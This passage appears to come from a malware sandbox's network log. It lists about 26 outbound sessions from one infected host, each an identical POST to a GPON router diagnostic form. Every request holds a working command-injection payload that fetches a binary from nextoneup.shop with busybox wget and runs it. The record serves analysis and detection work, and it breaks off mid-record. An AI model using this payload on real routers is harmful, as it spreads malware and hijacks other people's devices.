586	192.168.2.13	43672	117.251.174.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771658897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.13	59126	79.40.105.86	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771689892 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.13	46810	118.132.172.88	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771714926 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.13	48258	210.254.135.158	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771724939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.13	38300	94.227.189.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771743059 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.13	35132	148.135.163.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771773100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.13	47150	5.219.150.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771796942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.13	49708	109.137.44.23	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771847010 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.13	45286	210.111.19.110	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771878004 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.13	54722	212.39.128.31	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771893024 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.13	38582	178.245.65.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771928072 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.13	42214	79.134.190.48	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771951914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.13	58834	5.252.107.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.771981001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.13	34588	109.20.240.186	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772006035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.13	42472	109.164.88.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772042036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.13	43056	123.104.229.239	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772073984 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.13	45846	2.50.149.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772089958 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.13	33690	210.119.33.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772120953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.13	45218	5.196.39.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772146940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.13	35708	117.107.99.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772160053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.13	38436	210.57.174.44	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772202969 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.13	36698	79.81.70.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772232056 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.13	48506	212.188.28.117	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772250891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.13	58488	117.38.235.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772272110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.13	55612	2.133.39.26	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772310019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.13	47978	94.50.116.8	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.772325039 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 